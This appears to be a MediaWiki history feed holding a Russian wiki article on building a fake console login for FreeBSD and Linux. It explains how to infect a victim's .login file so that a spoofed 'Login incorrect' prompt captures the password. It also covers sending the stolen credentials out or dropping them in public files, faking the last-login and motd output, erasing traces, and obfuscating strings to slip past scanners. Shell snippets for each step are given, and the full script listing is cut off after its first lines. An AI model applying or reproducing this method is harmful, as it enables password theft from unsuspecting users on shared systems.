<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>http://lorwiki.zhbert.ru/index.php?action=history&amp;feed=atom&amp;title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD</id>
	<title>Фальшивый логин - История изменений</title>
	<link rel="self" type="application/atom+xml" href="http://lorwiki.zhbert.ru/index.php?action=history&amp;feed=atom&amp;title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD"/>
	<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;action=history"/>
	<updated>2026-10-12T23:47:39Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.39.0</generator>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;diff=403&amp;oldid=prev</id>
		<title>Admin: 1 версия импортирована</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;diff=403&amp;oldid=prev"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;1 версия импортирована&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;ru&quot;&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Предыдущая версия&lt;/td&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Версия от 21:39, 27 февраля 2023&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-notice&quot; lang=&quot;ru&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(нет различий)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;diff=402&amp;oldid=prev</id>
		<title>lor&gt;Cetjs2: Откат правок Abc123456 (обсуждение) к версии Mandala</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;diff=402&amp;oldid=prev"/>
		<updated>2018-05-04T11:17:52Z</updated>

		<summary type="html">&lt;p&gt;Откат правок &lt;a href=&quot;/index.php/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/Abc123456&quot; title=&quot;Служебная:Вклад/Abc123456&quot;&gt;Abc123456&lt;/a&gt; (&lt;a href=&quot;/index.php?title=%D0%9E%D0%B1%D1%81%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D1%83%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA%D0%B0:Abc123456&amp;amp;action=edit&amp;amp;redlink=1&quot; class=&quot;new&quot; title=&quot;Обсуждение участника:Abc123456 (страница не существует)&quot;&gt;обсуждение&lt;/a&gt;) к версии &lt;a href=&quot;/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:Mandala&amp;amp;action=edit&amp;amp;redlink=1&quot; class=&quot;new&quot; title=&quot;Участник:Mandala (страница не существует)&quot;&gt;Mandala&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;=== О ЧЕМ СТАТЬЯ? ===&lt;br /&gt;
&lt;br /&gt;
Данная статья описывает имитацию консольного входа в систему FreeBSD и Linux на языке shell'а.&lt;br /&gt;
&lt;br /&gt;
=== ВСТУПЛЕНИЕ: ===&lt;br /&gt;
&lt;br /&gt;
В wiki я новичок и по оформлению - в зуб ногой, поэтому вставляю статью в виде plain-текста. Просьба - кому не лень, приведите текст к нормальному форматированию и удалите эту просьбу и пред. предложение.&lt;br /&gt;
Прочитавших статью настоятельно прошу потестировать прилагаемые sh-скрипты на своей системе или дать советы по их совершенствованию и отписаться в комментариях. Если кто может - дайте ссылку на мини-дистрибутив весом в одну floppy-дискету или небольшой iso-образ с OpenBSD, NetBSD, BeOS, QNX или еще какой редкой системой. Просто мой медленный модем не позволяет качать из сети огроменные iso-образы с дистрибутивами.&lt;br /&gt;
&lt;br /&gt;
   &amp;gt;&amp;gt;&amp;gt; С уважением, AndreyMust19&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
При создании статьи использовались следующие системы:&lt;br /&gt;
* В качестве FreeBSD - FreeBSD 5.2.1&lt;br /&gt;
* В качестве Linux - Linux knoppix_debian 2.6.17&lt;br /&gt;
&lt;br /&gt;
в дальнейшем работа была протестирована на:&lt;br /&gt;
* FrenzyBSD 6.1-STABLE&lt;br /&gt;
* Knoppix DSL 2.4.16&lt;br /&gt;
&lt;br /&gt;
Теоретически должно работать на FreeBSD с 3.0 и на Linux с 2.4&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Вариант 1. Фальшивый вход в систему ===&lt;br /&gt;
&lt;br /&gt;
==== Действия ====&lt;br /&gt;
&lt;br /&gt;
Заразить начало файла '.login' . Внедренный код должен вывести фразу &amp;quot;Неверный вход&amp;quot;, чтобы пользователь решил, что ошибся при вводе логина или пароля. Затем самому потребовать ввести логин и пароль, а пользователь все еще будет думать, что об этом его просит операционная система. С большой долей вероятности пользователь введет правильный логин и пароль - мы сохраним их в файл и вышлем по сети или перенесем в публичные файлы.&lt;br /&gt;
&lt;br /&gt;
После этого надо вывести на экран информацию о последнем входе (login так всегда делает). Далее выполнение файла .login продолжится в нормальном режиме, поскольку юзер уже вошел в систему, когда первый раз вводил пароль и логин.&lt;br /&gt;
&lt;br /&gt;
==== Неверный вход ====&lt;br /&gt;
&lt;br /&gt;
Фраза &amp;quot;Неверный вход&amp;quot; одинакова во всех системах и выглядит как &amp;quot;Login incorrect\n&amp;quot;. Ее можно вывести командой echo.&lt;br /&gt;
&lt;br /&gt;
==== Логин и пароль ====&lt;br /&gt;
&lt;br /&gt;
Дальше надо вывести такие слова login и password, чтобы они совпадали с настоящими. Перед словом &amp;quot;login&amp;quot; может стоять название системы, а после слова &amp;quot;Password:&amp;quot; может стоять лишний пробел. Эти слова зависят от системы, для Linux:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
login = '&amp;lt;host&amp;gt; login: '&lt;br /&gt;
password = 'Password: '&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
, где &amp;lt;host&amp;gt; - короткое имя машины.&lt;br /&gt;
&lt;br /&gt;
а для FreeBSD:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
login = 'login: '&lt;br /&gt;
password = 'Password:'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Если мы будем использовать эти текстовые константы, то наша гадость провалится, если этот текст выводится на другом языке. Правильнее будет проанализировать конфигурацию системы и решить - какой текст нужно вывести.&lt;br /&gt;
Если все сделать правильно, в соответствии с текущей системой, фальшивый вход в систему не будет отличаться от настоящего. Для вывода строк можно 'echo -n &amp;quot;login&amp;quot;', а ключ -n нужен, чтобы курсор не переносился на след. строку. Для отключения эховывода сделать 'stty -echo', а после ввода пароля - восстановить его командой 'stty echo'. Для чтения логина и пароля cat не годится, так как это одна строка, поэтому читать введенные данные будем командой 'head -n 1'.&lt;br /&gt;
&lt;br /&gt;
==== Время последнего входа ====&lt;br /&gt;
&lt;br /&gt;
Как известно, перед входом в систему, login говорит - когда последний раз вошли под этой учетной записью и на какой консоли:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
Last login: Thu Jun 25 22:49:58 on ttyv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Некоторые юзеры внимательно относятся к этому сообщению, так как по нему можно узнать, что в систему входил посторонний. Поэтому отсутствие этого сообщения может насторожить и лучше его вывести на экран.&lt;br /&gt;
&lt;br /&gt;
==== Способ 1 - журнал входов в систему ====&lt;br /&gt;
&lt;br /&gt;
О времени последнего входа в Linux нам скажет lastlog:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlog -u $(whoami)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
А во FreeBSD такую же информацию даст команда lastlogin:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlogin $(whoami)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Команда whoami нужна, чтобы подставить вместо нее имя нашей учетной записи. Тоже самое можно сделать, заменив $(whoami) на $USER, но в данном случае USER - это переменная окружения и ее значение можно изменить.&lt;br /&gt;
&lt;br /&gt;
Поскольку программа login выводит информацию до входа в систему, она выводится на английском языке. А после входа в систему команды lastlog и lastlogin делают это на том языке, который установлен в переменной окружения LANG. Поэтому перед выполнением команды надо поменять ее значение на 'us', чтобы мы 100% получили дату на английском языке.&lt;br /&gt;
&lt;br /&gt;
После вызова обе команды приподносят информацию в немного другом формате, нежели login. Линукс:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlog -u $(whoami)&lt;br /&gt;
Username	Port	From		Latest&lt;br /&gt;
andrey          ttyv3                   Thu Jun 25 23:18:47 +0400 2009&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
ФриБСД:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlogin $(whoami)&lt;br /&gt;
andrey          ttyv3                   Thu Jun 25 23:18:47 2009&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Итак, первая выводит 2 строки, а вторая - одну, причем последняя строка общая. Поэтому извлечем ее:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlog -u $(whoami) | tail -n 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
или&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlogin $(whoami) | tail -n 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Итак, из полученной строки нам надо извлечь дату и номер терминала. Заметьте, что аргументы разделены не tab'ом, а пробелами, что подтвержает команда hexdump. Как их извлечь? Поскольку у Linux перед годом стоит какое-то непонятное число, обрабатывать строку будет сначала, тем более пробелы в логинах втречаться не должны.&lt;br /&gt;
&lt;br /&gt;
Вобщем, алгоритм такой:&lt;br /&gt;
&lt;br /&gt;
# Записываем строку в переменную.&lt;br /&gt;
# Ищем первый пробел (0x20)&lt;br /&gt;
# Идем к концу строки, пока встречаются любые символы кроме пробелов (пройдем имя)&lt;br /&gt;
# Идем дальше, пропуская пробелы&lt;br /&gt;
# Запоминаем текущую позицию (A)&lt;br /&gt;
# Пропускаем не-пробелы (пройдем имя терминала)&lt;br /&gt;
# Записываем все символы с A до текущей позиции&lt;br /&gt;
# пропускаем пробелы, пока не дойдем до даты&lt;br /&gt;
# Запоминаем позицию в B&lt;br /&gt;
# Ищем 4 пробела и затем копируем в переменную символы от B до текущей позиции&lt;br /&gt;
&lt;br /&gt;
Можно использовать другой алгоритм, с конца, но тогда в начале придется пропустить еще одно слово, если мы работаем на Linux-системе.&lt;br /&gt;
&lt;br /&gt;
# Записываем строку в переменную.&lt;br /&gt;
# Посл. символ == 0Ah, значит продолжаем&lt;br /&gt;
# Ищем первый 0x20 с конца (B)&lt;br /&gt;
# Двигаемся к началу и пропускаем еще 4 пробела (A)&lt;br /&gt;
# Выкусываем строку от A до B (это дата и время логина)&lt;br /&gt;
# Двигаемся к началу, пока встречается 0x20 (D)&lt;br /&gt;
# Двигаемся к началу, пока не встретится 0x20 (C)&lt;br /&gt;
# Выкусываем строку от C до D (это будет название консоли)&lt;br /&gt;
&lt;br /&gt;
В конце выводим на экран полученные строки:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;quot;Last login: &amp;quot;, $AB, &amp;quot; on &amp;quot; $CD.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Вывод можно сделать с помощью символа &amp;lt;&amp;lt;.&lt;br /&gt;
&lt;br /&gt;
Теперь, как выполнить все это языком shell'а. Проще всего командой awk. Она сама распознает пробелы, принимая разделенные ими слова за аргументы. Написать надо так:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp; awk '{print $4, $5, $6, $7, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
Jun 26 13:37:09 2009 on ttyv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Тут $4-$7 выводят дату, строка &amp;quot;on&amp;quot; - слово ' on ' с пробелами, а $2 соответствует консоль.&lt;br /&gt;
&lt;br /&gt;
==== Способ 2 - текущая дата ====&lt;br /&gt;
&lt;br /&gt;
И в Linux, и во FreeBSD есть команда date, которая выводит текущую дату. Эту дату можно вывести в любом формате, даже в том, в котором ее выводит login:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ date &amp;quot;+%a %b %d %H:%M:%S&amp;quot;&lt;br /&gt;
Fri Jun 26 00:31:54&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно немного рискнуть и вместо настоящего времени входа вывести текущую дату, а в качестве консоли указать текущую. Если повезет, пользователь ничего не заметит, так как у него уйдет некоторое время на ввод &amp;quot;фальшивого&amp;quot; логина и пароля. Правда эта команда вызовет проблемы во FreeBSD, поскольку в ней нет опции '%a' - над этим надо подумать.&lt;br /&gt;
&lt;br /&gt;
Еще стоит отметить возможность вывести дату, записанную в строке (опция -d), но эта строка не совпадает с форматом строки, выводимой login.&lt;br /&gt;
Текущую консоль можно узнать командой tty. Она не зависит от системы и всегда выводит полный путь терминала:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ tty&lt;br /&gt;
/dev/tty2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно отбросить первые 5 символов, а для пущей надежности найти последний / и вывести все, что после него.&lt;br /&gt;
&lt;br /&gt;
* Примечание:&lt;br /&gt;
&lt;br /&gt;
Во FreeBSD команда lastlogin выводит только успешные и реально выполненные входы. Предложенный способ 1 будет всегда работать, поскольку /var/log/lastlog всегда будет содержать 7 аргумента:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
root	ttyv0		Fri Apr  9 23:18:48 2009&lt;br /&gt;
andrey	ttyv1		Fri Jun 26 19:16:47 2009&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
В Linux немного по-другому. В файле /var/log/lastlog записаны все учетные записи, независимо от того, входили под ними в систему или нет:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
Username	Port	From		Latest&lt;br /&gt;
andrey		:0			Fri Jun 26 19:43:28 +0400 2006&lt;br /&gt;
nx					**Never logger in**&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Во-первых, есть еще одно поле 'From', а во-вторых, учетная запись, возможно, ни разу еще не использовалась. Неизвестно, как login обработает эти ситуации. Поэтому будем так - подсчитаем кол-во аргументов, если их 8, тогда нам встретилась обычная запись, а в остальных случаях будем выводить текущую дату.&lt;br /&gt;
В команде awk слово NF соответствует кол-ву аргументов в текущей строке. Данная команда выводит &amp;quot;123&amp;quot; если в строке последнего входа 8 аргументов и &amp;quot;hello&amp;quot; в ином случае:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
lag='hello'&lt;br /&gt;
lastlog -u $(whoami) | tail -n 1 | awk -v lag=$lag '{ if (NF == 8) print &amp;quot;123&amp;quot;; print lag }'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно заранее получить текущую дату и записать ее в переменную lag:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ date &amp;quot;+%c&amp;quot; | awk '{ print substr($0, 1, length $0 - 1),&amp;quot;on&amp;quot;; }'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно заранее получить текущую консоль и дату, а затем передать их команде awk:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ t=$(tty)		#получаем имя консоли&lt;br /&gt;
$ date &amp;quot;+%c&amp;quot; | awk -v ttt=$t '{ print $0,&amp;quot;on&amp;quot;, substr(ttt, 5, length(ttt) - 4) }'&lt;br /&gt;
Fri Jun 26 21:40:04 2009 on /pts/3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
здесь substr отбрасывает первые 4 символа вывода tty (&amp;quot;/dev/pts/3&amp;quot;-&amp;gt;&amp;quot;/pts/3&amp;quot;).&lt;br /&gt;
А вместо 'print &amp;quot;123&amp;quot;' написать вывод даты последнего входа:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
awk '{ print $3,$4,$5,$6,$8,&amp;quot;on&amp;quot;,$2}'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
где $8 дополнительно выводит год.&lt;br /&gt;
Но все это изврат, надежней не анализировать строку последнего входа, а просто вывести ее как пологается.&lt;br /&gt;
&lt;br /&gt;
==== Приветствие ====&lt;br /&gt;
&lt;br /&gt;
Во всех системах login, перед запуском оболочки выводит приветствие на экран, текст которого находится в /etc/motd. Если в домашнем каталоге пользователя есть файл '.hushlogin', то приветствие не выводится. На надо это &amp;quot;проэмулировать&amp;quot;:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
if !(test -e ~/.hushlogin) ; then&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Удаление stderr нужно в том случае, если файла /etc/motd не существует и из-за этого команда cat сообщит об ошибке.&lt;br /&gt;
&lt;br /&gt;
Небольшая особенность есть во FreeBSD. В ней после приветствия выводится копирайт системы:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
Copyright (c) 1992-2004 The FreeBSD Project&lt;br /&gt;
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Похожие строки есть в файле /COPYRIGHT, но в первой строке есть лишнее &amp;quot;All rights reserved&amp;quot;. К тому же файл этот можно удалить. Вторая строка находится в самой программе login. Но... те же самые 2 строки выводит boot-загрузчик, а также rlogin, хотя в нем такой строки не наблюдается. Неужели они спрашивают ее у ядра?&lt;br /&gt;
&lt;br /&gt;
Поиск строки '1992-2004' в ядре подтвержает:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ grep 1992-2004 /boot/kernel/*&lt;br /&gt;
Binary file /boot/kernel/kernel/kernel matches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Тот факт, что эти строки выводятся при загрузке системы позволяет нам прочитать их из файла '/var/run/dmesg.boot'. Поскольку загрузчик выводит их первыми, то они будут находиться в самом начале файла:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
head -n 3 /var/run/dmesg.boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Затем надо добавить '\n', поскольку перед содержимым файла /etc/motd, выводимым login'ом есть пустая строка.&lt;br /&gt;
&lt;br /&gt;
==== А если мы не введем пароль? ====&lt;br /&gt;
&lt;br /&gt;
Если пользователь не введет пароль через некоторое время, то login сообщит, что время входа истекло. А дополнительно на экране появится заголовок входа. И если хотя бы одно из этих сообщений не совпадет с настоящим, наш план провалится. Оба сообщения также специфичны для разны систем. Для Linux:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
timeout = 'Login timed out after &amp;lt;num&amp;gt; seconds.\n'&lt;br /&gt;
caption = '&amp;lt;system&amp;gt; &amp;lt;os&amp;gt; &amp;lt;version&amp;gt; &amp;lt;hostname&amp;gt; &amp;lt;tty&amp;gt;'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Для FreeBSD&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
timeout = 'login: Login timed out after &amp;lt;num&amp;gt; seconds\n'&lt;br /&gt;
caption = '&amp;lt;system&amp;gt; &amp;lt;hostname&amp;gt; (&amp;lt;tty&amp;gt;)'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
здесь:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;system&amp;gt; - название системы&lt;br /&gt;
* &amp;lt;os&amp;gt; - тип ядра&lt;br /&gt;
* &amp;lt;version&amp;gt; - версия ядра, (не)стабильная, релиз/тест&lt;br /&gt;
* &amp;lt;hostname&amp;gt; - имя хоста, можно узнать одноименной командой&lt;br /&gt;
* &amp;lt;tty&amp;gt; - название консоли, на к-ой происходит вход&lt;br /&gt;
* &amp;lt;num&amp;gt; - кол-во секунд, после к-х система прекратит вход&lt;br /&gt;
&lt;br /&gt;
Проблема в том - как узнать &amp;lt;system&amp;gt;, &amp;lt;hostname&amp;gt; и все остальное?&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;hostname&amp;gt;&lt;br /&gt;
Можно узнать, дав команду 'hostname' или 'uname -n'&lt;br /&gt;
&lt;br /&gt;
==== Делаем ноги ====&lt;br /&gt;
&lt;br /&gt;
Ну, теперь осталось отправить файл с логином и паролем. Можно послать по сети на наш адрес, а лучше выложить в общий доступ, где мы сидим и ждем его. Как только файл появится, быстренько копируем его содержимое и удаляем, чтобы его не успели увидеть честные пользователи и не сообщили администрации.&lt;br /&gt;
После чего надо удалить все созданные временные файлы и вырезать себя из зараженного файла (.login), чтобы он принял первоначальный вид.&lt;br /&gt;
&lt;br /&gt;
==== Определяем конфигурацию ====&lt;br /&gt;
&lt;br /&gt;
Теперь, когда мы написали 2 отдельных файла, работающих на FreeBSD и Linux, надо их переписать в один, объединив все общие части и сделать файл переносимым. Чтобы определить текущую систему, проще всего дать команду 'uname -s'. Она вернет на вывод FreeBSD или Linux. Недостаток в том, что имя системы помоему можно изменить, и тогда она станет неуязвима к нашему оружию, пока мы не определим систему как-то по другому. Несмотря на это, все конфигурационные скрипты в архивах с исходниками определяют систему командой 'uname -s'.&lt;br /&gt;
&lt;br /&gt;
Можно найти специфичные файлы, например, /etc/rc.conf для FreeBSD и /etc/inittab для Linux. Но администратор может создать лишние файлы и тогда введет скрипт в ступор.&lt;br /&gt;
&lt;br /&gt;
Можно определить тип исполняемого файла /bin/sh, прочитав сигнатуру ELF в первых 3-х байтах, а затем проверить байт по смещению 07h - если 0x09, значит FreeBSD, а если 0x00 - то Linux. Но и тут есть грабли. Тип системы 0x00 на самом деле соответствует UNIX System V, и его нормально воспринимает Linux, поэтому бОльшая часть исполняемых файлов имеет этот тип. Наверяка подобная ситуация может распространяться на другие очень редкие UNIX-системы. Так что 0x00 - не означает Linux.&lt;br /&gt;
&lt;br /&gt;
==== Определение совместимости и процедура заражения ====&lt;br /&gt;
&lt;br /&gt;
После определения системы мы должны выяснить - сможет ли работать наш скрипт. Для этого надо проверить наличие всех программ, которые мы будем запускать:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
[ -x путь] &amp;amp;&amp;amp; &amp;lt;команда&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;команда&amp;gt; выполнится только если &amp;lt;путь&amp;gt; существует и является исполняемым файлом.&lt;br /&gt;
&lt;br /&gt;
Пусть систему и совместимость определяет скрипт заражения, а не наша &amp;quot;боевая начинка&amp;quot;. То есть программа &amp;quot;фальшивый логин&amp;quot; всего-лишь определит текущую систему и будет работать в соответствии с ней. Можно было сделать по другому, так, чтобы:&lt;br /&gt;
&lt;br /&gt;
- Текущую систему и совместимость проверяла сама боевая начинка, а скрипт заражения занимался только заражение. Но тогда боевая начинка будет больше по размеру и медленнее работать, что может вызвать подозрения.&lt;br /&gt;
- Скрипт заражения сам компоновал боевую начинку в соответствии с системой, но это усложнило бы процесс заражения и сделало его менее читаемым.&lt;br /&gt;
- Можно было вообще хранить в себе 2 отдельные версии начинки для каждой системы и не вращаться с портированием, но это увеличело бы размер гадости.&lt;br /&gt;
&lt;br /&gt;
Так что наш выбор является серединой между размером и простотой программы.&lt;br /&gt;
Во время тестирования оказалось, что на DSL Linux пробелы в конце переменных игнорирует не только echo, но и printf. Из-за этого &amp;quot;Password:&amp;quot; выводился без нужного пробела. Пришлось выводить пробел отдельно, если система - Linux.&lt;br /&gt;
&lt;br /&gt;
Окончательный вариант фальшивого логина можно найти в falselogin.sh. В остальных falselogin-файлах тоже самое, но с комментариями в разных кодировках.&lt;br /&gt;
&lt;br /&gt;
==== Прячем уши от человеческих глаз ====&lt;br /&gt;
&lt;br /&gt;
Теперь пришла пора скрыть текстовые строки от глаз человека и сканеров. Для этого увеличиваем значение каждого символа на 1, а перед использованием - уменьшаем на 1.&lt;br /&gt;
&lt;br /&gt;
=== Исходные тексты ===&lt;br /&gt;
&lt;br /&gt;
'''Linux'''&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
l=&amp;quot;login: &amp;quot;&lt;br /&gt;
